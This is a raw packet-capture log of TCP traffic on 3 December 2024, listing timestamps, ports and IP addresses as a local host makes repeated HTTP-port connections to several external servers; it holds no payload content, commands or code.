Dec 3, 2024 14:54:07.868678093 CET	80	49799	173.0.157.187	192.168.11.20
Dec 3, 2024 14:54:07.869168997 CET	49799	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:07.872179985 CET	49799	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:08.011110067 CET	80	49799	173.0.157.187	192.168.11.20
Dec 3, 2024 14:54:13.002243042 CET	49800	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:13.112534046 CET	80	49800	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:13.112719059 CET	49800	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:13.115884066 CET	49800	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:13.225332975 CET	80	49800	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:13.225583076 CET	80	49800	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:13.225774050 CET	49800	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:14.617911100 CET	49800	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:14.728827953 CET	80	49800	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:15.633907080 CET	49801	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:15.746679068 CET	80	49801	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:15.746999025 CET	49801	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:15.750148058 CET	49801	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:15.860821009 CET	80	49801	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:15.860836029 CET	80	49801	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:15.860992908 CET	49801	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:17.257853985 CET	49801	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:17.367849112 CET	80	49801	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:18.273977041 CET	49802	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:18.383266926 CET	80	49802	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:18.383435011 CET	49802	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:18.386698008 CET	49802	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:18.386756897 CET	49802	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:18.386825085 CET	49802	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:18.495174885 CET	80	49802	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:18.495189905 CET	80	49802	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:18.495223045 CET	80	49802	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:18.495496035 CET	80	49802	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:18.495511055 CET	80	49802	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:20.914105892 CET	49803	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:21.027818918 CET	80	49803	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:21.028052092 CET	49803	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:21.030231953 CET	49803	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:21.140487909 CET	80	49803	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:21.141648054 CET	80	49803	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:21.141664028 CET	80	49803	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:21.142002106 CET	49803	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:21.142600060 CET	49803	80	192.168.11.20	13.248.169.48
Dec 3, 2024 14:54:21.252326012 CET	80	49803	13.248.169.48	192.168.11.20
Dec 3, 2024 14:54:26.295648098 CET	49804	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:26.420061111 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.420244932 CET	49804	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:26.423396111 CET	49804	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:26.547655106 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.872312069 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.872333050 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.872349977 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.872364044 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.872391939 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.872394085 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.872406960 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.872423887 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.872438908 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.872453928 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.872473001 CET	49804	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:26.872560024 CET	49804	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:26.872694016 CET	49804	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:26.997052908 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.997078896 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.997267962 CET	49804	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:26.997330904 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.997355938 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.997375011 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.997391939 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.997416973 CET	80	49804	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:26.997509956 CET	49804	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:26.997596025 CET	49804	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:27.934722900 CET	49804	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:28.943514109 CET	49805	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:29.068149090 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.068356037 CET	49805	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:29.071538925 CET	49805	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:29.195846081 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.582056046 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.582078934 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.582094908 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.582109928 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.582124949 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.582139969 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.582151890 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.582168102 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.582362890 CET	49805	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:29.582362890 CET	49805	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:29.582362890 CET	49805	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:29.582367897 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.582389116 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.582530022 CET	49805	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:29.706891060 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.706913948 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.706928968 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.706943989 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.707015038 CET	49805	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:29.707185030 CET	49805	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:29.707214117 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.707232952 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.707247972 CET	80	49805	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:29.707528114 CET	49805	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:30.583111048 CET	49805	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:31.599364996 CET	49806	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:31.723675013 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:31.723896980 CET	49806	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:31.727149010 CET	49806	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:31.727176905 CET	49806	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:31.727252007 CET	49806	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:31.851893902 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:31.851913929 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.164474964 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.164496899 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.164513111 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.164534092 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.164556980 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.164572954 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.164731026 CET	49806	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:32.164779902 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.164798975 CET	49806	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:32.164799929 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.164815903 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.164830923 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.164992094 CET	49806	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:32.165019989 CET	49806	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:32.289707899 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.289757013 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.289793968 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.289829016 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.289865971 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.289901018 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.289932013 CET	49806	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:32.289936066 CET	80	49806	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:32.290069103 CET	49806	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:32.290069103 CET	49806	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:33.238775969 CET	49806	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:34.254841089 CET	49807	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:34.379246950 CET	80	49807	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:34.379458904 CET	49807	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:34.381623030 CET	49807	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:34.505923986 CET	80	49807	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:34.634823084 CET	80	49807	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:34.635627031 CET	80	49807	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:34.635787964 CET	49807	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:34.636378050 CET	49807	80	192.168.11.20	192.185.147.100
Dec 3, 2024 14:54:34.760852098 CET	80	49807	192.185.147.100	192.168.11.20
Dec 3, 2024 14:54:39.921709061 CET	49808	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:40.110055923 CET	80	49808	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:40.110277891 CET	49808	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:40.113451004 CET	49808	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:40.301781893 CET	80	49808	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:40.809576035 CET	80	49808	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:40.809627056 CET	80	49808	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:40.809663057 CET	80	49808	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:40.809850931 CET	49808	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:41.627537966 CET	49808	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:42.643713951 CET	49809	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:42.833076000 CET	80	49809	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:42.833307981 CET	49809	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:42.836472988 CET	49809	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:43.026462078 CET	80	49809	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:43.031315088 CET	80	49809	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:43.031544924 CET	80	49809	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:43.031575918 CET	80	49809	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:43.031819105 CET	49809	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:44.345649958 CET	49809	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:45.361743927 CET	49810	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:45.550718069 CET	80	49810	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:45.550973892 CET	49810	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:45.554203987 CET	49810	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:45.554270029 CET	49810	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:45.743464947 CET	80	49810	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:45.743509054 CET	80	49810	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:45.743635893 CET	80	49810	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:45.743684053 CET	80	49810	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:45.743948936 CET	80	49810	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:45.758339882 CET	80	49810	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:45.758408070 CET	80	49810	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:45.758626938 CET	49810	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:45.760283947 CET	80	49810	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:45.760459900 CET	49810	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:47.063839912 CET	49810	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:48.079900980 CET	49811	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:48.268035889 CET	80	49811	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:48.268295050 CET	49811	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:48.270658016 CET	49811	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:48.458714962 CET	80	49811	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:48.464325905 CET	80	49811	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:48.464380026 CET	80	49811	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:48.464413881 CET	80	49811	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:48.464694977 CET	49811	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:48.465382099 CET	49811	80	192.168.11.20	176.31.209.107
Dec 3, 2024 14:54:48.653459072 CET	80	49811	176.31.209.107	192.168.11.20
Dec 3, 2024 14:54:54.074805021 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:54.386204004 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:54.386370897 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:54.389543056 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:54.700037003 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:54.702064991 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:54.702116966 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:54.702321053 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:54.702361107 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:54.702370882 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:54.702406883 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:54.702442884 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:54.702477932 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:54.702512980 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:54.702545881 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:54.702581882 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:54.702594042 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:54.702594042 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:54.702708960 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:54.702742100 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:55.012851954 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.012902975 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.012938023 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.012973070 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013006926 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013041973 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013077021 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013093948 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:55.013113976 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013149023 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013184071 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013216972 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013251066 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013267994 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:55.013286114 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013319969 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013354063 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013387918 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013400078 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:55.013459921 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:55.013465881 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013520956 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013555050 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013587952 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013603926 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:55.013624907 CET	80	49812	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:55.013720036 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:55.013809919 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:55.905687094 CET	49812	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:56.921732903 CET	49813	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:57.236377001 CET	80	49813	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:57.236582994 CET	49813	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:57.240030050 CET	49813	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:57.554600000 CET	80	49813	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:57.556756973 CET	80	49813	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:57.556817055 CET	80	49813	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:57.556864023 CET	80	49813	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:57.557074070 CET	80	49813	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:57.557087898 CET	49813	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:57.557132959 CET	80	49813	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:57.557178974 CET	80	49813	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:57.557219982 CET	80	49813	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:57.557265997 CET	80	49813	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:57.557265043 CET	49813	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:57.557308912 CET	80	49813	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:57.557357073 CET	80	49813	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:57.557373047 CET	49813	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:57.557442904 CET	49813	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:57.557594061 CET	49813	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:57.871862888 CET	80	49813	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:57.871922970 CET	80	49813	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:57.871968985 CET	80	49813	45.197.47.177	192.168.11.20
Dec 3, 2024 14:54:57.872181892 CET	49813	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:58.748754978 CET	49813	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:54:59.764904976 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:00.077215910 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.077395916 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:00.080641031 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:00.080698967 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:00.080746889 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:00.392867088 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.393120050 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.393347979 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.395240068 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.395479918 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.395488977 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.395495892 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.395515919 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.395522118 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.395529032 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.395534992 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.395539999 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.395545959 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.395570040 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:00.395570040 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:00.395736933 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:00.707953930 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708003998 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708039045 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708071947 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708106041 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708142996 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708175898 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708210945 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708244085 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708277941 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708276033 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:00.708311081 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708322048 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:00.708347082 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708380938 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708415985 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708446026 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:00.708448887 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708483934 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708518028 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708551884 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708551884 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:00.708585024 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:00.708586931 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708621025 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708657026 CET	80	49814	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:00.708709002 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:00.708741903 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:00.708880901 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:01.591938972 CET	49814	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:02.607949018 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:02.923280001 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:02.923485994 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:02.925647974 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.240819931 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.241132975 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.241188049 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.241234064 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.241367102 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.241431952 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.241492987 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.241508007 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.241548061 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.241553068 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.241599083 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.241642952 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.241667986 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.241686106 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.241801977 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.241863966 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.557071924 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557118893 CET	80	49815	45.197.47.177	192.168.11.20
